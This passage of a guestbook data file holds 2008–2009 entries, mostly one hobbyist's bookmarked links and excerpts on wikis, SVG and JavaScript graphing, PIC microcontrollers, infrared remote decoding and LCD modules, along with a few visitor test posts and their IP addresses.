Welcome to TiddlyWiki, a popular free MicroContent WikiWikiWeb created by JeremyRuston and a busy Community of independent developers. It\'s written in HTML, CSS and JavaScript to run on any modern browser without needing any ServerSide logic. It allows anyone to create personal SelfContained hypertext documents that can be posted to a WebServer, sent by email or kept on a USB thumb drive to make a WikiOnAStick. Because it doesn\'t need to be installed and configured it makes a great GuerillaWiki. This is revision 2.4.0 of TiddlyWiki (see recent changes), and is published under an OpenSourceLicense."
);
gbF( // guestbook.pl 
"Your name","","Sat, 28 Jun 2008 21:44:55 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://stickwiki.sourceforge.net/",
"Welcome to Wiki on a Stick!",
"",
"Welcome to Wiki on a Stick!<BR>\
Wiki on a Stick (in short WoaS) is a wiki that lives in one self-modifying XHTML file. It\'s perfect to be used at home or at office, on your laptop or USB pen drive (along with Portable Firefox if you want) and even in a floppy disk! It can be used as a personal notepad, calendar, repository for software documentation and many other things; it allows full customization and extension by your own scripts or libraries. It also offers true AES encryption of pages.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 28 Jun 2008 21:51:30 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://c2.com/cgi/wiki?WikiEngines",
"Wiki Engines",
"",
"Wiki Engines<BR>\
This is the canonical list of WikiEngines. See also TheWikiWay (a book). The engines are listed twice, by language and by name. <BR>\
<BR>\
Overwhelmed by this long list? Try TopTenWikiEngines, ChoosingaWiki, or WikiChoicetree. See WikiFarms for hosted wiki options. <BR>\
<BR>\
Further discussion and requests are at the end of this page. "
);
gbF( // guestbook.pl 
"Your name","","Sat, 23 Aug 2008 07:52:51 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.brendangillatt.co.uk/projects/EA-C20017AR-lcd/",
"My dad had three surplus Epson EA-C20017AR LCDs",
"",
"Introduction<BR>\
<BR>\
Epson EA-C20017AR LCD display<BR>\
				<BR>\
My dad had three surplus Epson EA-C20017AR LCDs which had been lying in a component bin for years. <BR>\
<BR>\
They looked useful enough so I thought I would try to get them to work. <BR>\
They are monochrome, 1x20 displays with additional \'cursor\' elements.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 9 Sep 2008 08:44:23 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://upload.wikimedia.org/wikipedia/commons/f/f8/Netscape-navigator-usage-data.svg",
"svg graph",
"",
"svg graph"
);
gbF( // guestbook.pl 
"Your name","","Tue, 9 Sep 2008 11:04:29 UTC+0100","193.113.37.7  |   ",
"",
"http://www.liquidx.net/plotkit/",
"PlotKit is a Chart and Graph Plotting Library for Javascript. ",
"",
"PlotKit - Javascript Chart Plotting<BR>\
Introduction<BR>\
<BR>\
PlotKit is a Chart and Graph Plotting Library for Javascript. It has support for HTML Canvas and also SVG via Adobe SVG Viewer and native browser support.<BR>\
<BR>\
PlotKit is fully documented and there is a quick tutorial to get you started.<BR>\
<BR>\
PlotKit is a complete rewrite of CanvasGraph. It is better structured and supported. "
);
gbF( // guestbook.pl 
"Your name","","Wed, 10 Sep 2008 07:17:41 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.carto.net/papers/svg/samples/",
"carto.net SVG tutorial, example and demonstration site",
"",
"carto.net SVG tutorial, example and demonstration site<BR>\
<BR>\
These samples of cartographic applications shall help you getting started with SVG (\"Basic examples\"). The basic examples come with commented source code. The more complex examples should showcase and demonstrate the usefulness of SVG for webmapping purposes. Please understand and apologize that we can\'t afford the time to comment the more complex, javascript driven examples."
);
gbF( // guestbook.pl 
"Your name","","Thu, 18 Sep 2008 08:38:28 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/rt004/keytimesDHR.svg",
"SVG and Guestbook first integration - rubbish - IE users ignore",
"",
"SVG and Guestbook first integration - rubbish"
);
gbF( // guestbook.pl 
"Your name","","Sun, 21 Sep 2008 08:17:50 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://pilat.free.fr/english/animer/keytimes.htm",
"SVG example",
"",
"Web page I used to hack my Guestbook."
);
gbF( // guestbook.pl 
"Your name","","Sun, 21 Sep 2008 08:19:57 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/rt004/sr3/reportSVG.svg",
"Graph plotted using SVG including data from Solar Cell Blog",
"",
"Graph plotted using SVG including data from Solar Cell Blog"
);
gbF( // guestbook.pl 
"Your name","","Wed, 24 Sep 2008 21:42:29 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.w3.org/TR/SVG/index.html#minitoc",
"Scalable Vector Graphics (SVG) 1.1 Specification",
"",
"Scalable Vector Graphics (SVG) 1.1 Specification<BR>\
W3C Recommendation 14 January 2003<BR>\
This version: <BR>\
http://www.w3.org/TR/2003/REC-SVG11-20030114/ <BR>\
Latest version: <BR>\
http://www.w3.org/TR/SVG11/ <BR>\
Previous version: <BR>\
http://www.w3.org/TR/2002/PR-SVG11-20021115/ <BR>\
Editors: <BR>\
Jon Ferraiolo, Adobe Systems <jon.ferraiolo@adobe.com> (version 1.0)<BR>\
“ˇ‘ň Ź~ (FUJISAWA Jun), Canon <fujisawa.jun@canon.co.jp> (modularization and DTD)<BR>\
Dean Jackson, W3C/CSIRO <dean@w3.org> (version 1.1) <BR>\
Authors: <BR>\
See author list <BR>\
Please refer to the errata for this document, which may include some normative corrections.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 27 Sep 2008 21:44:15 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/hp/news/index.htm",
"16F88 AtoDmeasurements",
"",
"The A to D convert is configured to use the RC osc.<BR>\
<BR>\
The results are badly affected by the series resistance.<BR>\
<BR>\
wire 	0x3EE	1006<BR>\
1k	0x3E0	 992<BR>\
2k	0x3D0	 976<BR>\
3k	0x3c4	 964<BR>\
5k6	0x390	 912<BR>\
9k1	0x375	 885"
);
gbF( // guestbook.pl 
"Your name","","Sat, 27 Sep 2008 22:05:53 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/hp/news/index.htm",
"16F88 AtoDmeasurements",
"",
"The A to D convert is configured to use the RC osc.<BR>\
<BR>\
The results are badly affected by the series resistance.<BR>\
<BR>\
wire 	0x3EE	1006<BR>\
1k	0x3E0	 992<BR>\
2k	0x3D0	 976<BR>\
3k	0x3c4	 964<BR>\
4k7	0x3AD	 941<BR>\
5k6	0x390	 912<BR>\
5k6	0x3A1	 929<BR>\
7k5	0x38B	 907<BR>\
8k2	0x37f	 895 <BR>\
9k1	0x375	 885"
);
gbF( // guestbook.pl 
"Chris","","Sat, 11 Oct 2008 18:20:40 UTC+0100","82.19.163.249  | cpc2-fare3-0-0-cust1016.cos2.cable.ntl.com  ",
"",
"http://www.e-scaping.co.uk/index.html",
"E-Scaping Creation",
"",
"E-Scaping Creative Website Design, Logo Design and Graphic Design Services"
);
gbF( // guestbook.pl 
"Your name","","Sun, 19 Oct 2008 23:17:17 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.clearwater.com.au/rc5/",
"An Efficient Algorithm for Decoding RC5 Remote Control Signals ",
"",
"An Efficient Algorithm for Decoding RC5 Remote Control Signals <BR>\
 introduction<BR>\
RC5 is an encoding standard used in infrared remote control signal transmission. RC5 was originally developed by Phillips, and uses Manchester encoding, a bi-phase code that encodes each data bit as as a transition. RC5 encodes commands as 14-bit words. <BR>\
This article describes an efficient and robust method for decoding RC5 infrared remote control signals into 14-bit control codes. I will assume that you already have hardware interface code (such as lirc) that returns IR pulse and space durations. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 19 Oct 2008 23:20:14 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.lll.lu/~edward/edward/pic/rc5demo.asm",
"Piezzo for the music on pin RA_0 * ; * RC5 on the fly decode via RB0_Int * ... it is possible to decode RC5 using the ;intervals between same slopes. ",
"",
"; ***************************************<BR>\
; * Demo 16C84 Program by Edward Cardew *<BR>\
; *        Edward_Cardew@aia.com        *<BR>\
; * Program only for non commercial use *<BR>\
; ***************************************<BR>\
<BR>\
<BR>\
; *************************************** <BR>\
; * Uses 4bit LCD interface write only  *<BR>\
; * Keypad via resistors to same 4bit   *<BR>\
; * RS232 Output \"Bit Bang\" via RB_3    *<BR>\
; * Piezzo for the music on pin RA_0    *<BR>\
; * RC5 on the fly decode via RB0_Int   *<BR>\
; ***************************************<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"test","test@home.com","Sun, 26 Oct 2008 21:27:15 UTC+0100","87.66.116.2  | 2.116-66-87.adsl-dyn.isp.belgacom.be  ",
"",
"www.test.com",
"",
"",
"Test"
);
gbF( // guestbook.pl 
"Your name","","Tue, 4 Nov 2008 22:21:13 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.piclist.com/techref/microchip/irtoserial.htm",
"PIC Specific RS232 / ir routine ",
"",
"/* <BR>\
  sony Data format: 12 bits <BR>\
<BR>\
  Bit zero: <BR>\
<BR>\
  400 <BR>\
  +--+   +... <BR>\
  |  |   | <BR>\
  +  +---+ <BR>\
      800 <BR>\
<BR>\
  Bit one: <BR>\
<BR>\
  400 <BR>\
  +--+      +... <BR>\
  |  |      | <BR>\
  +  +------+ <BR>\
       1400 <BR>\
<BR>\
  Frame: <BR>\
               400    400 <BR>\
  --+          +--+   +--+      +--+ <BR>\
    |          |  |   |  |      |  | <BR>\
    +---2600---+  +---+  +------+  +... <BR>\
                   800     1400 <BR>\
<BR>\
  Decoding algorithm: <BR>\
  - Detect 2600us pulse, <BR>\
  - measure next high pulse as P1 (400us) <BR>\
  - measure next low  pulse as P2 (800/1400us) <BR>\
  - store min(P1) <BR>\
  - store max(P2) <BR>\
  After all measurements: <BR>\
  - calculate mean = (max-min)/2 + min <BR>\
  - For all (P1,P2) measured: <BR>\
    . Add P1+P2=P3 <BR>\
    . If P3< mean => bit is zero <BR>\
    . If P3>=mean => bit is one <BR>\
<BR>\
  Measures with Timer0 & Prescaler:16 <BR>\
    2600us = 162 <BR>\
    1400us = 87 <BR>\
     800us = 50 <BR>\
     400us = 25 <BR>\
<BR>\
     400+800  = 25+50 = 75 <BR>\
     400+1400 = 25+87 = 112 <BR>\
     mean ~= (112-75)/2+75 = 18+75 = 93 <BR>\
*/ <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 4 Nov 2008 22:27:27 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://home1.stofanet.dk/hvaba/fprc5rx/index.html",
"- field programmable RC5/Sony infrared remote receiver/decoder.",
"",
"FPRC5RX V0.9<BR>\
<BR>\
- field programmable RC5/Sony infrared remote receiver/decoder.<BR>\
construction of a 16 bit parallel output learning Phillips RC5/Sony Sircs infrared decoder based on a 16F873 PIC processor in which IR codes are defined at run-time with a remote control. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 8 Nov 2008 08:33:09 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www-mmsp.ece.mcgill.ca/Documents/AudioFormats/WAVE/WAVE.html",
"Audio File Format Specifications",
"",
"Audio File Format Specifications<BR>\
File Description: WAVE or RIFF WAVE sound file<BR>\
File Extension: Commonly .wav, sometimes .wave<BR>\
File Byte Order: Little-endian<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 11 Nov 2008 21:23:17 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://fantasticcontraption.com/",
"Physics game",
"",
"Physics game"
);
gbF( // guestbook.pl 
"Your name","","Tue, 18 Nov 2008 07:39:25 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.rigolna.com/products_ds1000a.aspx",
"http://www.rigolna.com/products_ds1000a.aspx",
"",
"Scopes<BR>\
http://www.mcs-testequipment.com/search-results-category.asp?cat=42<BR>\
http://www.rigolna.com/products_ds1000a.aspx"
);
gbF( // guestbook.pl 
"Your name","","Tue, 18 Nov 2008 07:44:04 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.mcs-testequipment.com/",
"MCS Test Equipment Ltd are the UK distributors",
"",
"MCS Test Equipment Ltd are the UK distributors for Willtek, Tescom, Schomandl, Rigol and Litepoint. We offer a wide range of leading edge test equipment products to meet the testing requirements of most wireless and Broadcast standards such as GSM, WCDMA, TETRA, WLAN 802.11, Bluetooth and WiMax 802.16. As well as offering test equipment sales, MCS also has a wide range of rental test equipment and used test equipment available.We provide high quality used test equipment for sale or rental and tailor our services to meet your individual needs.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 18 Nov 2008 18:18:48 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.sjelectronics.co.uk/acatalog/index.html",
"http://www.sjelectronics.co.uk/acatalog/index.html",
"",
"http://www.sjelectronics.co.uk/acatalog/index.html<BR>\
scope supplier"
);
gbF( // guestbook.pl 
"Your name","","Mon, 29 Dec 2008 22:15:58 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://matplotlib.sourceforge.net/",
"matplotlib is a python 2D plotting library which produces publication quality",
"",
"matplotlib is a python 2D plotting library which produces publication quality figures in a variety of hardcopy formats and interactive environments across platforms. matplotlib can be used in python scripts, the python and ipython shell (ala matlab or mathematica), web application servers, and six graphical user interface toolkits.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Wed, 7 Jan 2009 08:36:29 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://hell.jedicoder.net/?p=82",
"perl fork",
"",
"perl fork example"
);
gbF( // guestbook.pl 
"mike","mike@yahoo.com","Wed, 14 Jan 2009 01:32:51 UTC+0100","99.248.154.39  | CPE0013f7c52c25-CM0013f7c52c21.cpe.net.cable.rogers.com  ",
"",
"www.kiki.com",
"www.kiki.com",
"",
"hello if this works ill be so happy"
);
gbF( // guestbook.pl 
"zedsite","zexefunk@gmail.com","Fri, 23 Jan 2009 04:27:08 UTC+0100","64.255.180.28 202.3.213.129 | r01-12.opera-mini.net  ",
"",
"http://zedwap.mw.lt",
"zed guestbook",
"",
"good gb script"
);
gbF( // guestbook.pl 
"Your name","","Fri, 23 Jan 2009 18:09:57 UTC+0100","193.113.37.7  |   ",
"",
"http://www.phanderson.com/tm128/dev-cpp_tm128_1.html",
"PC Interfacing with the TM #128 and Similar Units",
"",
"PC Interfacing with the TM #128 and Similar Units<BR>\
using the Bloodshed Dev-C++ Compiler<BR>\
copyright, Peter H Anderson, Baltimore, MD, Apr 28, \'07 <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 3 Feb 2009 07:34:13 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.eterlogic.com/Products.VSPE.html",
"Virtual Serial Ports Emulator",
"",
"Description<BR>\
VSPE is intended to help software engineers and developers to create/debug/test applications that use serial ports. It is able to create various virtual devices to transmit/receive data. Unlike regular serial ports, virtual devices have special capabilities: for example, the same device can be opened more than once by different applications, that can be useful in many cases. With VSPE you are able to share physical serial port data for several applications, expose serial port to local network (via TCP protocol), create virtual serial port device pairs and so on. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 8 Feb 2009 10:42:15 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://ccgi.dougrice.plus.com/pnggraph.php?key=wrt,rd,adr,E,rs&title=Logic+trace&yLogic=0,0,0,45,46,34,23,45,67,89,90,45,1023,511,127,128,511,67,87,1,2,4,8,16,32,64,128,256,512,511,255,127,63,31,15,7,3,1,0,0,0,0",
"Logic Analyser ",
"",
"Logic plot using pnggraph.php"
);
gbF( // guestbook.pl 
"Your name","","Sun, 8 Feb 2009 10:44:18 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://ccgi.dougrice.plus.com/pnggraph.php?yValues=23,34,56,18,99,45,07,34,12,23,14,78,99,100,23,45,&title=Demo+Graph&xLabel=stats&yLabel=Calls",
"Graph",
"",
"Graph"
);
gbF( // guestbook.pl 
"Your name","","Sun, 8 Feb 2009 10:46:41 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/rt004/sr3/pnggraph.php.txt",
"pgngraph.php.txt",
"",
"pnggraph.php that plots graphs based on control strings."
);
gbF( // guestbook.pl 
"Your name","","Sun, 8 Feb 2009 22:41:12 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"C:\\Documents and Settings\\doug\\Desktop\\g.htm",
"Some Simple JavaScript generated graphs",
"",
"Some Simple JavaScript generated graphs"
);
gbF( // guestbook.pl 
"Your name","","Sun, 8 Feb 2009 22:42:27 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/g.htm",
"Some Simple JavaScript generated graphs",
"",
"Some Simple JavaScript generated graphs<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 9 Feb 2009 08:27:51 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dokuwiki.org/dokuwiki",
"DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating documentation of any kind. ",
"",
"DokuWiki is a standards compliant, simple to use Wiki, mainly aimed at creating documentation of any kind. It is targeted at developer teams, workgroups and small companies. It has a simple but powerful syntax which makes sure the datafiles remain readable outside the Wiki and eases the creation of structured texts. All data is stored in plain text files – no database is required. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 28 Feb 2009 07:43:41 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/rt004/sr3/sine.htm",
"At school we used a pair of equations to generate sinewaves. ",
"",
"At school we used a pair of equations to generate sinewaves. <BR>\
 x = x + y / n<BR>\
 y = y - x / n<BR>\
<BR>\
Itterate them and apply y or x to a D to A converter. You get a sine wave as long at n is quite large. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 1 Mar 2009 10:05:03 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dattalo.com/technical/software/pic/picprty.html",
"PIC Parity - Bit Counting",
"",
"PIC Parity - Bit Counting<BR>\
Here are four different ways to count the number of \"ones\" in an 8-bit binary number:<BR>\
<BR>\
RR_bitcount - Shifts the byte and checks the carry. It\'s relatively slow.<BR>\
<BR>\
TC_bitcount - Test and Count. Tests each bit individually. A very efficient approach is possible with the PIC\'s BTFSS (Bit Test File register, Skip if Set) instruction. Execution time is constant and the byte being tested is not affected.<BR>\
<BR>\
bitcount - Uses a boolean relationship to clear the least significant bit that is set.<BR>\
<BR>\
look_up_bits - Look up table approach. Not as fast as TC method and takes up more memory. You probably don\'t want to waste your time with it.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"SAENSOOK SUCHANYA","saensook@suchanya.com","Tue, 3 Mar 2009 16:55:03 UTC+0000","124.120.85.114  | ppp-124-120-85-114.revip2.asianet.co.th  ",
"",
"",
"http://www.dougrice.plus.com",
"Epson EA-Y question",
"Thanks for your info of epson LCD<BR>\
I need epson dot matrix character display for 16x2 and 20x8 (EA-Y20077FT-I).<BR>\
Can you advice where to get it.<BR>\
<BR>\
BS///saensook<BR>\
saensooki(AT)suchanya.com; saensooki(AT)gmail.com"
);
gbF( // guestbook.pl 
"Doug","","Wed, 4 Mar 2009 08:21:11 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.netikka.net/ville.vieri/ele/lcd.htm",
"Epson EA-Y series and IEE 3802 - interfacing",
"",
"I got two old LCD modules without complete datasheets, Epson EA-Y16025 and IEE 3802-03-032. I tried to search some information on these from the Internet, but I found people only asking questions and having the same problems. So I had to use trial-and-error method to make the modules work. <BR>\
<BR>\
I had these documents about the modules:<BR>\
The Epson specs<BR>\
The IEE specs<BR>\
<BR>\
There was enough information to make the IEE display operate while the information on the Epson module being inadequate. I found that the Epson EA-Y and EA-X series use the same controller, SED1300. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 6 Mar 2009 07:40:53 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.sbprojects.com/knowledge/ir/nec.htm",
"IR RC Theory",
"",
"To my knowledge the protocol I describe here was developed by NEC. I\'ve seen very similar protocol descriptions on the internet, and there the protocol is called Japanese Format. <BR>\
I do admit that I don\'t know exactly who developed it. What I do know is that it is used in my late VCR produced by Sanyo and was marketed under the name of Fisher. NEC manufactured the remote control IC. <BR>\
This description was taken from the VCR\'s service manual. Those were the days, when service manuals were fulled with useful information! <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 7 Mar 2009 08:42:37 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.brouhaha.com/~eric/pic/",
"Eric\'s PIC Projects",
"",
"Eric\'s PIC Projects<BR>\
I developed most of these projects during various vacations to Colorado. My friend Richard Ottosen built most of the hardware, and helped debug my code. <BR>\
Since these are just spare-time hacks, no documentation is available for any of them but the Closed-Caption decoder. <BR>\
<BR>\
For the benefit of those not running Unix, I am now supplying .zip files in addition to the .tar.gz files. The file contents are identical, so text lines are separated by line feed characters only (Unix-style). You may need to use an editor or other utility program to insert carriage returns. <BR>\
<BR>\
Code is available for:<BR>\
"
);
gbF( // guestbook.pl 
"David Viney","david@viney.com","Mon, 9 Mar 2009 12:19:48 UTC+0000","77.89.140.119  | 77-89-140-119-adsl2.beaming.biz  ",
"",
"http://www.seo-expert-services.co.uk",
"Website Promotion",
"",
"Testing the guestbook script for use on our site"
);
gbF( // guestbook.pl 
"Your name","","Mon, 16 Mar 2009 07:41:34 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.autoitscript.com/autoit3/",
"AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. ",
"",
"AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys). AutoIt is also very small, self-contained and will run on all versions of Windows out-of-the-box with no annoying \"runtimes\" required! <BR>\
<BR>\
AutoIt was initially designed for PC \"roll out\" situations to reliably automate and configure thousands of PCs. Over time it has become a powerful language that supports complex expressions, user functions, loops and everything else that veteran scripters would expect.<BR>\
Features: <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"George Roe","groe@cox.net","Fri, 20 Mar 2009 15:38:57 UTC+0000","161.209.206.1  |   ",
"",
"",
"",
"",
"Thanks for the chance to demo the guestbook."
);
gbF( // guestbook.pl 
"Your name","","Mon, 23 Mar 2009 17:43:18 UTC+0000","193.113.37.9  |   ",
"",
"http://code.google.com/p/flot/",
"Flot is a pure Javascript plotting library for jQuery. It produces graphical plots of arbitrary datasets on-the-fly client-side. ",
"",
"Flot is a pure Javascript plotting library for jQuery. It produces graphical plots of arbitrary datasets on-the-fly client-side. <BR>\
<BR>\
The focus is on simple usage (all settings are optional), attractive looks and interactive features like zooming and mouse tracking. <BR>\
<BR>\
The plugin is known to work with Internet Explorer 6/7/8, Firefox 2.x+, Safari 3.0+, Opera 9.5+ and Konqueror 4.x+. If you find a problem, please report it. Drawing is done with the canvas tag introduced by Safari and now available on all major browsers, except Internet Explorer where the excanvas Javascript emulation helper is used. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 27 Mar 2009 07:41:28 UTC+0000","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/dev/",
"Some Pic projects",
"",
"Some more serial port projects based on http://www.dougrice.plus.com/hp/freq/freq.htm"
);
gbF( // guestbook.pl 
"Your name","","Fri, 3 Apr 2009 07:28:08 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://electronics-diy.com/pic_temperature_meter.php",
"This is extremely simple to build PIC Temperature meter ",
"",
"This is extremely simple to build PIC Temperature meter that allows to measure temperature in two different locations at the same time. Never before such a useful and powerful circuit could be built with so little components and yet provide endless possibilities. This is all possible thanks to the use of PIC16F628 microcontroller and 2x16 character LCD display that act like a small computer which can be customizable thanks to upgradeable hex firmware.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Fri, 3 Apr 2009 07:32:56 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.piclist.com/techref/microchip/ds1820-code.htm",
"pic Microcontroller based Dallas DS18S20 IO ",
"",
"pic Microcontroller based Dallas DS18S20 IO "
);
gbF( // guestbook.pl 
"Your name","","Sat, 4 Apr 2009 20:59:44 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.cssjuice.com/22-code-snippets-for-creating-decent-charts/",
"22 Code Snippets for Creating Decent Charts",
"",
"A new day a new list. Today we would focus on using CSS and Javascript techniques to create awesome and useful charts, graphs, bar charts, pie charts or diagrams. Almost all of the snippets are made freely available and only need simple CSS and Javascript knowledge. Thanks all the respectable web developers and designers. Now, it’s time to create a chart for your blogs!<BR>\
<BR>\
CSS For Bar Graphs - good looking, only need pure XHTML and CSS only.<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sun, 5 Apr 2009 22:16:58 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.sxlist.com/techref/new/letter/news0306.htm",
"SX Radix Routines ",
"",
"SX Radix Routines <BR>\
Introduction <BR>\
This application note presents programming techniques for performing commonly found radix (base) conversions. <BR>\
<BR>\
A solution commonly passed off on young engineers <BR>\
If you go to school, they will tell you: \"An efficient technique for binary-to-BCD conversion is that of the so called ADD-3 algorithm, and will convert the original binary number into three BCD digits (HUNDREDS, TENS, UNITS).\" The algorithm can be expressed as follows: <BR>\
<BR>\
1. Set HUNDREDS=0, TENS=0, UNITS=0, COUNT=8. <BR>\
<BR>\
2. If any BCD digit is 5 or greater, add three to that digit. <BR>\
<BR>\
3. Decrement COUNT and shift left. The bit shifted from the 8 bit binary is carried into UNITS, the bit shifted from UNITS is carried to TENS, etc. <BR>\
<BR>\
4. If count not equal to 0, to step 2, else STOP. <BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 12 May 2009 08:19:05 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.etc.ugal.ro/cchiculita/software/picbootloader.htm",
"Tiny Bootloader",
"",
"Tiny Bootloader<BR>\
This is a bootloader for the Microchip PIC microcontrollers.<BR>\
<BR>\
It is the smallest bootloader, taking less than 100 words of program space; <BR>\
Supports families of PIC devices: 16F, 18F, dsPIC30 (those devices that support self-programming) <BR>\
Does not support yet PIC24, dsPIC33, PIC18xxJyy <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Sat, 27 Jun 2009 07:22:48 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.futurlec.com/USBDevBoard.shtml",
"The new AT89C5131 USB Development Board is ideal for developing USB Control Systems. ",
"",
"USB Development Board<BR>\
The new AT89C5131 USB Development Board is ideal for developing USB Control Systems. The board features the exciting new Atmel AT89C5131 microcontroller, a high performance Flash version of the 8051 8-bit microcontroller range, with on-board USB compliant module for USB 1.1 and USB 2.0 Communications. <BR>\
Programs can be downloaded easily using the USB port. Data and commands can also be transferred whilst the program is running via the USB Port. Great for external control and real time monitoring systems using high-speed USB transfers. <BR>\
<BR>\
The board includes the AT89C5131 Atmel microcontroller with 32k of In-System Flash Memory, running at 24MHz, with 5 channel PCA, 16-bit PWM, Full Duplex UART, SPI Interface, Watchdog Timer and lots more. All power supply components and main crystal are in place for the microcontroller, the unit is ready to run, with just an external 9-12Vdc power supply required. Connectors are provided for USB, RS232, power and all I/O pins, via standard polarized connections and IDCC connectors. Download software is included, together with code examples in assembly language, to get you up and running quickly.<BR>\
<BR>\
<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 6 Jul 2009 22:00:14 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.lvr.com/usb.htm#development_boards",
"USB Central",
"",
"USB Central<BR>\
Information and code for USB developers. Send links, suggestions, corrections, etc. via e-mail. <BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Mon, 6 Jul 2009 22:08:56 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.rfc1149.net/devel/picforth",
"picforth",
"",
"Forth compiler for PIC 16F87x and 16F88<BR>\
This Forth compiler, available under the GPL free software license, is hosted on Unix (or Linux) using gforth 0.6.x and generates code for the Microchip PIC 16F87x and 16F88 microcontrollers family. It includes two kinds of cooperative schedulers. You can download PicForth 1.2.5.<BR>\
"
);
gbF( // guestbook.pl 
"Your name","","Tue, 7 Jul 2009 08:23:35 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.audiomulch.com/midipic/",
"DIY MIDI controllers using PIC microcontrollers and Basic Stamps",
"",
"DIY MIDI controllers<BR>\
using PIC microcontrollers and Basic Stamps<BR>\
"
);
gbF( // guestbook.pl 
"Doug","","Mon, 13 Jul 2009 08:30:13 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://www.dougrice.plus.com/hp/LoadShare/",
"Load Share Webpage",
"",
"Load Share Webpage"
);
gbF( // guestbook.pl 
"Your name","","Wed, 5 Aug 2009 22:15:41 UTC+0100","212.56.108.219  | dougrice.plus.com  ",
"",
"http://sdcc.sourceforge.net/",
"SDCC is a retargettable, optimizing ANSI - C compiler that targets the Intel 8051,",
"",
